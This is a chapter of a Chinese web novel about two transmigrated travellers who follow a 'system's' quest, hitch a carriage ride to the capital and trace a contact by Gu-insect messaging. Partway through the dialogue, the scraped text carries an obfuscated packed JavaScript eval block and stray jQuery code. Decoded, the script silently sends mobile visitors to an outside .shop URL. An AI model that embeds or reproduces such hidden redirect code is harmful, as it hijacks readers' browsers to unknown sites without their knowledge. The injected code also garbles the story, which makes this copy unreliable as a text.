文趣网 > 其他小说 > 感情歪了怎么办,急! > 3. 搭顺风车
    系统:【隐元七十年正月十八】

    中域纪年,翁早算不过来,“我不懂,请用南域的说法。”

    【纪灵九十年五月六日】

    她回忆了一下穿越的时间,是二日穿的,现在距离她穿越只过了四天!

    在光怪陆离的世界度过了一千多个日夜,换算成这边,竟然只是弹指一挥间。

    “告诉你一个残酷的事实,”翁早实属不忍心,“我在那边生活了四年,这边只过了四天。”

    吓得韩吹一个趔趄,惶恐:“你的意思是,这边的一天是我们的一年!”

    那完成任务回去,身份信息上不会已经成了百岁老人了吧?!他转头寻求希望:“系统,告诉我不是真的。”

    系统诚实:【宿主是真的。两边时间流速不同,但并非严格的一日对一年,具体换算受位面法则影响,无法精确量化。】

    “那我不做任务会有什么后果?”韩吹痛掐人中,快撑不住了。

    系统补了记狠刀:【你身为外来者,三日内若不接触气运者获得庇护,天道将启动抹杀程序。】

    韩吹腿一软:“……所以我没得选?”

    他指向翁早,“这女人生活了四年还生龙活虎的,到我就要被抹杀,还有没有天理!”

    【她情况特殊,非普通人,能自行抵御天道排斥。】

    翁早看着韩吹发白的脸,那点刚冒头的同情又泛了上来,拍拍他肩膀:“别这么低沉,你还有活命的机会,我一定鼎力相助。”

    “再说了,我能生存四年,说明也是有点气运在身上,搞不好我能庇护你。”

    韩吹心如死灰:“我做。但我要奖励,不然死了也无所谓,我这条命可没多金贵!”

    【我可以显示你的气运庇护值,低于20%会有危险。】

    “还有呢?”

    【可以给你播放实时画面。】

    “……行吧,总比没有强。”韩吹已经没招了,搁这当仇人整。

    系统:【你们需要去触发第一个任务线,和木偶剧场有关,姜延和柴间月的命运轨迹被篡改了。】

    【原轨迹中,姜延没有功高震主和战死沙场,柴间月没有重生,两人只是一对貌合神离的夫妻,柴间月一生拘束于慕阳王府的后院。】

    翁早:“怎么纠正?”

    系统:【真正的气运者是柴间月的表姐,国相嫡女周平云和太子姜珝,两人圣旨赐婚,本是一代明君贤后的美谈。】

    【但被侵染的剧情里,姜珝中毒昏迷,周平云自杀,沉迷美色的五皇子姜浔登基。】

    【后面姜浔对气运流向的姜延产生忌惮,从而下毒手,柴间月全家被连累。】

    它语气显得焦急:【你们现在处于第二周目,柴间月重生的时间点,太子和周平云还没出事,有机会改变。】

    韩吹无语笑了,“在一个陌生的古代世界,要去阻止太子被毒、贵女自杀、反派登基,凭我这个战五渣?”

    系统狠狠鼓励:【宿主加油!别让世界主体性被剥离,我相信你可以成为救世主。】

    翁早听着离谱,好不容易穿回来,突然告诉她大陆可能会变傀儡窝。

    唉,还是先探探真假,她去哄某小伙:“走吧,做任务去,说不定误打误撞就回去了。遇见难的坎,我可以帮你请外援嘛。”

    “……”

    然而,很快遇到了第一道坎。

    两人走了许久,日头从西边树梢滑下去,愣是没见着个人影。这荒郊野岭的,韩吹的肚子咕咕叫了一路。

    “老天是铁了心让我回去看大娘的脸色。”他累倒靠在树躯上,不想动了。“你这祭司能不能发挥点实际作用,说是要叫外援,人呢?”

    翁早也抓狂,哪个穷乡僻壤被她碰上了:“等这件事过去后,我非让人在这里建驿站点。”

    见人指望不上了,韩吹仰天长叹,“就不该相信你个挂名的,贴身手下都不见影。”

    “别气馁,你要相信天无绝人之路。”

    “那我打一下你脸。”韩吹随手丢了根树枝,看着枝头方向,“走这边。”

    没过多久应验了,车轮碾过碎石路的咕噜声传来,由远及近。他刷地两眼放光,“好吧,是打我脸。”

    待马车快驶过时,翁早叫唤:“大人且慢!”

    马车逐渐停下,一只骨节分明的手掀开帘子,里头是一位偏瘦的蓝衣衫公子哥,长相温润,眉宇间似含淡淡春风。

    他侧头看向翁早和韩吹两人,“二位有何事?”

    翁早跑过来:“公子是要去哪里?”

    “重京。”

    去洛临城都,她顿了下,追问:“请问一下,这里离重京还有多远?”

    前面的车夫回答:“约莫二三十里。”

    太远了,韩吹在身后摇摇头,今晚恐怕得缠上这位帅哥。借个车而已,为了他的命,抛弃点道德算什么。

    “内个,”他厚脸皮请求,“我和我小妹想去京城投靠姨母,可是迷路了。在这人生地不熟的地方,真不知道该往哪儿走。公子可否载一程?”

    两人行迹可疑,看他们刚走来的路是通往野河。河对面就是村落,路上一般不少行人,可偏偏盯上他。

    要是翁早两人能听到他所想,肯定要怀疑遇到鬼打墙了,一路上哪有人影。

    公子叫阮负雪,他眉间春风和煦消散不见,沉吟道:“恐怕不便,二位莫要为难在下。阿罗,继续赶车。”

    韩吹急扯翁早的衣袖,道:“怎么办,人家嫌麻烦。”

    侍卫看着像个高手,不然怎敢夜晚带主子赶车,万一动起手来他们可就惨了。

    翁早见车帘用双面绣锦,缀有玛瑙玉珠,马匹品相极好,那公子肯定大有来头。

    可眼下韩吹生死倒计时,她只能得罪了。足尖一点,十丈距离转瞬即至马车前方。

    阿罗反应极快,手腕一翻抽出藏在车座下的玄铁短刃,寒光直取她咽喉。

    翁早侧身避过,左手虚晃一招劈向小厮面门,待对方举刀格挡刹那,右爪凝了三分内力,精准扣住对方腕关节一摁。

    短刃脱手飞出,插入道旁泥土。

    阿罗闷哼一声,右手漫开酸麻。他惊怒交加,却见那女子只是制住他,并无杀意。

    “抱歉,江湖救急。”翁早松开手,没有伤及人筋骨。“公子要是不想耽误时辰,载我们一程便是。到了京城,必有谢礼。”

    韩吹目瞪口呆,她……她居然没把人打骨折?更想不到,这帅哥晚间赶路没有带高手护身。

    阿罗羞愧难当:“公子,此人功力不差,属下打不过。”

    阮负雪在车内静静看着,这姑娘武功极高,若真有恶意,阿罗此刻已经躺下了。

    她既留了余地,自己也没必要为一时之气,在荒郊野外结怨。

    “罢了。”他轻叹一声,“阿罗,让二位上车。姑娘与这位小公子,坐于车辕右侧即可。”

    翁早眉眼一弯,按着韩吹的头躬身谢道:“多谢公子,好人一生平安。”

    两人得偿所愿搭了顺风车,一路上阿罗提心吊胆,怕女人对公子下手。

    “二位如何称呼?”阮负雪冷静下来,有心询问两人。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946058|214068||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    翁早:“姓王。”

    韩吹:“姓韩。”

    阮负雪颔首,道:“王姑娘和韩公子看着像江湖中人。”

    两人衣服简陋,姑娘武功不凡,从对话来看并非主仆。

    韩吹支吾,他顶多算个黑户,哪是什么江湖牛马。翁早否认,“只是家道中落,想去京城找姨母接济一下。”

    还是这套话,阮负雪听了若有所思,看王姑娘相貌像异域人士,而韩公子倒像中域人。

    “鄙人姓阮。”他含笑,“一名商人,和二位萍水相逢也算缘分一场。”

    韩吹秒应:“对,缘分一场。”别说,都在京城,保不准还会见面。

    系统又上线了,给他们提供人物信息:【阮负雪,洛临皇商公子,人心思缜密,专怕硬手段。他和五皇子身边的楚侧妃是好友,楚侧妃是戏剧里蛊惑帝王浔的妖妃】

    两人交换个眼神,公子哥极有可能是五皇子的人。

    不过还是放一放,现在不宜讨论。

    晚上翁早浅睡了会儿,韩吹抱着膝盖看了一夜的星星。

    他鼻子有点酸,一天前他还在为了生活费发愁,现在却已经换了个世界,不知道还能不能回去。

    感受到什么,他摸向怀里,那截从剧院抓来的灯面还在。错觉吗?刚才符文似乎在发烫。

    ……

    东方既白,城门楼子的轮廓从晨雾里浮出来,灰墙黑瓦,已有零星挑担子的商贩在排队。

    韩吹顶着熊猫眼,双目空洞,阿罗连夜赶马都比他精神好。

    “二位,京城到了。”马车驶过城门后,阿罗提醒身旁即将凝化的人。

    “……多谢一夜收留之恩。”翁早扛着韩吹下车。

    韩吹有气无力告别:“阮公子再见,阿罗哥再见。”

    “有缘再见。”阮负雪瞧两人无精打采,笑挑了下眉。

    等马车驶远后,韩吹闻着早点的香气流口水,可身无分文:“我说你这祭司能不能发挥点作用,比如在京城有什么房产……”

    翁早耸耸肩:“我向来四海为家,又没到过重京,当然不会在这边置办房子。”

    不知想到什么,她瞟向韩吹:“我看看能不能联系到离我们最近的族人。”

    韩吹等不及了,摆手催促:“你快联系啊。”

    一天没进食,不等天道出手,自己先饿噶了。

    他开始设想最坏的结果:“要是联系不到,我就要去表演胸口碎大石赚饭钱了。”

    翁早打击他:“那你得先找块大石头。”

    两人兜兜转转找了个没人的小巷子,两侧墙根生着青苔,头顶搭着不知谁家的遮雨棚。

    翁早轻划过手心,冒出极小的虫体,将讯息以密语植入母蛊,随即发出微许振动。

    “有了。”她感受到手心蛊的指向。

    韩吹旁观她搞蛊一顿,生理性不适,不敢吱声。

    他们顺着蛊讯走到城西,在名为信侯府的府邸停下。

    “你确定是这里?信侯看着就官职很大。”

    蹲在对面巷口观察了半柱香时间,翁早蹙眉:“不确定,我只知道在附近,等人出来接应我们。”

    【警告!警告!】

    系统面板骤然弹出猩红字体:【检测到高危区域!信侯是洛临最大的反贼,处于气运者的对立面。】

    两人吓得抚膺定神,望向信侯府的牌匾。未几,府内走出一位暗青色服饰的中年妇人,形貌俨然是个嬷嬷。

    她四下张望,旋即目光锁定这边,口中嗔道:“哎哟,你们怎的来这般迟?”